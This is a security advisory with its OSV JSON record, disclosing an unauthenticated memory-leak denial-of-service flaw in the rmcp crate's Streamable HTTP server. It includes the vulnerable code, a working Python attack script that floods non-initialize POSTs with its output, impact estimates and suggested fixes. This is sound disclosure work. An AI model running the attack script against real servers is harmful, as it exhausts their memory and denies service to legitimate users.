ghsa-9pj6-vhgr-3mwh
CVSS 7.5 osv_rustsec### Summary An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server's `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **≈75 GB** of resident memory just from the session table. ### Details The bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126–1170`) is: ```rust } else { let (session_id, transport) = self .session_manager .create_session() // (★) .await .map_err(internal_error_response("create session"))?; // ...capture init params if a SessionStore is configured... if let ClientJsonRpcMessage::Request(req) = &mut message { let ClientRequest::InitializeRequest(init_req) = &req.request else { return Err(unexpected_message_response("initialize request")); // (A) }; validate_header_matches_init_body( // (B) &part.headers, init_req.params.protocol_version.as_str(), Some(req.id.clone()), )?; req.request.extensions_mut().insert(part); } else { return Err(unexpected_message_response("initialize request")); // (C) } let service = self .get_service() // (D) .map_err(internal_error_response("get service"))?; Self::spawn_session_worker( // (★★) self.session_manager.clone(), session_id.clone(), service, transport, None, ); // ...persist to external store, send response... } ``` Two facts make this unsafe: 1. `(★)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>`) and spawns a `LocalSessionWorker` task. 2. `(★★)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(&session_id)`. Therefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return: - The local `transport: WorkerTransport<LocalSessionWorker>` goes out of scope; its `_drop_guard` cancels the worker's `CancellationToken`. - The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped. - `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel's `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory. Because the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic. The bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: <bound-address>` value and is allowed through `validate_dns_rebinding_headers` normally. A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory. ### Proof of concept The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands. #### Step 1 — server harness `Cargo.toml` (paste verbatim): ```toml [package] name = "rmcp_leak_repro" version = "0.0.1" edition = "2021" publish = false [dependencies] rmcp = { version = "1.7.0", default-features = false, features = [ "server", "transport-streamable-http-server", ] } tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] } tokio-util = { version = "0.7" } axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] } anyhow = "1" [workspace] ``` `src/main.rs` (paste verbatim): ```rust //! Minimal MCP Streamable HTTP server that prints the size of the //! LocalSessionManager.sessions HashMap once a second so the leak is //! observable from stdout. use std::sync::Arc; use rmcp::{ ErrorData, RoleServer, ServerHandler, model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities}, service::RequestContext, transport::{ StreamableHttpServerConfig, StreamableHttpService, streamable_http_server::session::local::LocalSessionManager, }, }; const BIND_ADDRESS: &str = "127.0.0.1:8000"; #[derive(Clone, Default)] struct MinimalServer; impl ServerHandler for MinimalServer { async fn initialize( &self, _request: InitializeRequestParams, _cx: RequestContext<RoleServer>, ) -> Result<InitializeResult, ErrorData> { Ok(InitializeResult::new(ServerCapabilities::builder().build()) .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1"))) } } #[tokio::main] async fn main() -> anyhow::Result<()> { let ct = tokio_util::sync::CancellationToken::new(); let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default()); // Reporter — prints sessions.len() every second. { let manager = manager.clone(); let ct = ct.clone(); tokio::spawn(async move { loop { tokio::select! { _ = ct.cancelled() => break, _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => { let n = manager.sessions.read().await.len(); println!("[count] active_sessions={n}"); } } } }); } let service = StreamableHttpService::new( || Ok(MinimalServer::default()), manager.clone(), StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()), ); let router = axum::Router::new().nest_service("/mcp", service); let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?; println!("[server] listening on http://{BIND_ADDRESS}/mcp"); let _ = axum::serve(tcp_listener, router) .with_graceful_shutdown(async move { tokio::signal::ctrl_c().await.ok(); ct.cancel(); }) .await; Ok(()) } ``` Start it: ```bash cargo run --release ``` Initial output: ``` [server] listening on http://127.0.0.1:8000/mcp [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=0 ``` #### Step 2 — attacker `attack.py` (paste verbatim — Python 3 standard library only, no `pip install` required): ```python import http.client, json, sys, time HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp" # A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`, # but NOT an `InitializeRequest`. The server's `let ... else` pattern at # tower.rs:1148 rejects it after the session has already been created # at tower.rs:1129. body = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}, }).encode("ascii") headers = { "Host": f"{HOST}:{PORT}", # passes allowed_hosts "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Content-Length": str(len(body)), } n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000 print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}") start = time.monotonic() leaked = 0 for i in range(n): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) conn.request("POST", PATH, body=body, headers=headers) resp = conn.getresponse() status = resp.status resp.read() conn.close() if status == 422: leaked += 1 elapsed = time.monotonic() - start print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).") ``` Run it: ```bash python3 attack.py 1000 ``` #### Step 3 — observed evidence Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS): ``` [client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp [client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422). ``` Server output during and after the attack: ``` [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=844 [count] active_sessions=1000 <-- attack complete, attacker has disconnected [count] active_sessions=1000 [count] active_sessions=1000 [count] active_sessions=1000 [count] active_sessions=1000 <-- 20+ seconds later, still 1000 [count] active_sessions=1000 [count] active_sessions=1000 ``` The behavioural evidence that confirms the vulnerability: - Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`). - A single Python client sustained `1000 / 0.46 ≈ 2 174` leak requests per second. - After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process's lifetime. <!-- Optional: drop in a terminal screenshot here. Two screenshots (server console / attacker console) or one side-by-side capture are both fine. Filenames can be anything you like; suggested:   --> <img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" /> ### Impact - **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = ["localhost", "127.0.0.1", "::1"]` accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network. - **Authentication required**: None. - **User interaction required**: None. - **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the `SessionId` `Arc<str>`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client: - **1 hour**: ~7.8 M entries, ≈3.5 GB - **1 day**: ~187 M entries, ≈84 GB - **1 week**: process is long dead from OOM - **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM. - **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack. ### Suggested fix Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts. 1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier — a small refactor. 2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss. A regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
- https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh
- https://nvd.nist.gov/vuln/detail/CVE-2026-63128
- https://github.com/modelcontextprotocol/rust-sdk/pull/934
- https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846
- https://github.com/modelcontextprotocol/rust-sdk
- https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9pj6-vhgr-3mwh/GHSA-9pj6-vhgr-3mwh.json"
},
"package": {
"ecosystem": "crates.io",
"name": "rmcp",
"purl": "pkg:cargo/rmcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "SEMVER"
}
]
}
],
"aliases": [
"CVE-2026-63128"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T22:13:34Z",
"nvd_published_at": "2026-09-16T15:17:39Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server's `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **≈75 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126–1170`) is:\n\n```rust\n} else {\n let (session_id, transport) = self\n .session_manager\n .create_session() // (★)\n .await\n .map_err(internal_error_response(\"create session\"))?;\n // ...capture init params if a SessionStore is configured...\n if let ClientJsonRpcMessage::Request(req) = &mut message {\n let ClientRequest::InitializeRequest(init_req) = &req.request else {\n return Err(unexpected_message_response(\"initialize request\")); // (A)\n };\n validate_header_matches_init_body( // (B)\n &part.headers,\n init_req.params.protocol_version.as_str(),\n Some(req.id.clone()),\n )?;\n req.request.extensions_mut().insert(part);\n } else {\n return Err(unexpected_message_response(\"initialize request\")); // (C)\n }\n let service = self\n .get_service() // (D)\n .map_err(internal_error_response(\"get service\"))?;\n Self::spawn_session_worker( // (★★)\n self.session_manager.clone(),\n session_id.clone(),\n service,\n transport,\n None,\n );\n // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(★)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>`) and spawns a `LocalSessionWorker` task.\n2. `(★★)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(&session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport<LocalSessionWorker>` goes out of scope; its `_drop_guard` cancels the worker's `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel's `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: <bound-address>` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 — server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n \"server\",\n \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n ErrorData, RoleServer, ServerHandler,\n model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n service::RequestContext,\n transport::{\n StreamableHttpServerConfig, StreamableHttpService,\n streamable_http_server::session::local::LocalSessionManager,\n },\n};\n\nconst BIND_ADDRESS: &str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n async fn initialize(\n &self,\n _request: InitializeRequestParams,\n _cx: RequestContext<RoleServer>,\n ) -> Result<InitializeResult, ErrorData> {\n Ok(InitializeResult::new(ServerCapabilities::builder().build())\n .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n }\n}\n\n#[tokio::main]\nasync fn main() -> anyhow::Result<()> {\n let ct = tokio_util::sync::CancellationToken::new();\n let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());\n\n // Reporter — prints sessions.len() every second.\n {\n let manager = manager.clone();\n let ct = ct.clone();\n tokio::spawn(async move {\n loop {\n tokio::select! {\n _ = ct.cancelled() => break,\n _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {\n let n = manager.sessions.read().await.len();\n println!(\"[count] active_sessions={n}\");\n }\n }\n }\n });\n }\n\n let service = StreamableHttpService::new(\n || Ok(MinimalServer::default()),\n manager.clone(),\n StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n );\n\n let router = axum::Router::new().nest_service(\"/mcp\", service);\n let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n let _ = axum::serve(tcp_listener, router)\n .with_graceful_shutdown(async move {\n tokio::signal::ctrl_c().await.ok();\n ct.cancel();\n })\n .await;\n Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 — attacker\n\n`attack.py` (paste verbatim — Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server's `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/list\",\n \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n \"Host\": f\"{HOST}:{PORT}\", # passes allowed_hosts\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) > 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n conn.request(\"POST\", PATH, body=body, headers=headers)\n resp = conn.getresponse()\n status = resp.status\n resp.read()\n conn.close()\n if status == 422:\n leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 — observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000 <-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000 <-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 ≈ 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process's lifetime.\n\n<!--\n Optional: drop in a terminal screenshot here. Two screenshots\n (server console / attacker console) or one side-by-side capture are\n both fine. Filenames can be anything you like; suggested:\n \n \n-->\n\n<img width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" />\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the `SessionId` `Arc<str>`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n - **1 hour**: ~7.8 M entries, ≈3.5 GB\n - **1 day**: ~187 M entries, ≈84 GB\n - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier — a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
"id": "GHSA-9pj6-vhgr-3mwh",
"modified": "2026-09-16T22:30:08.343637534Z",
"published": "2026-09-16T22:13:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/rust-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
}
],
"schema_version": "1.9.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}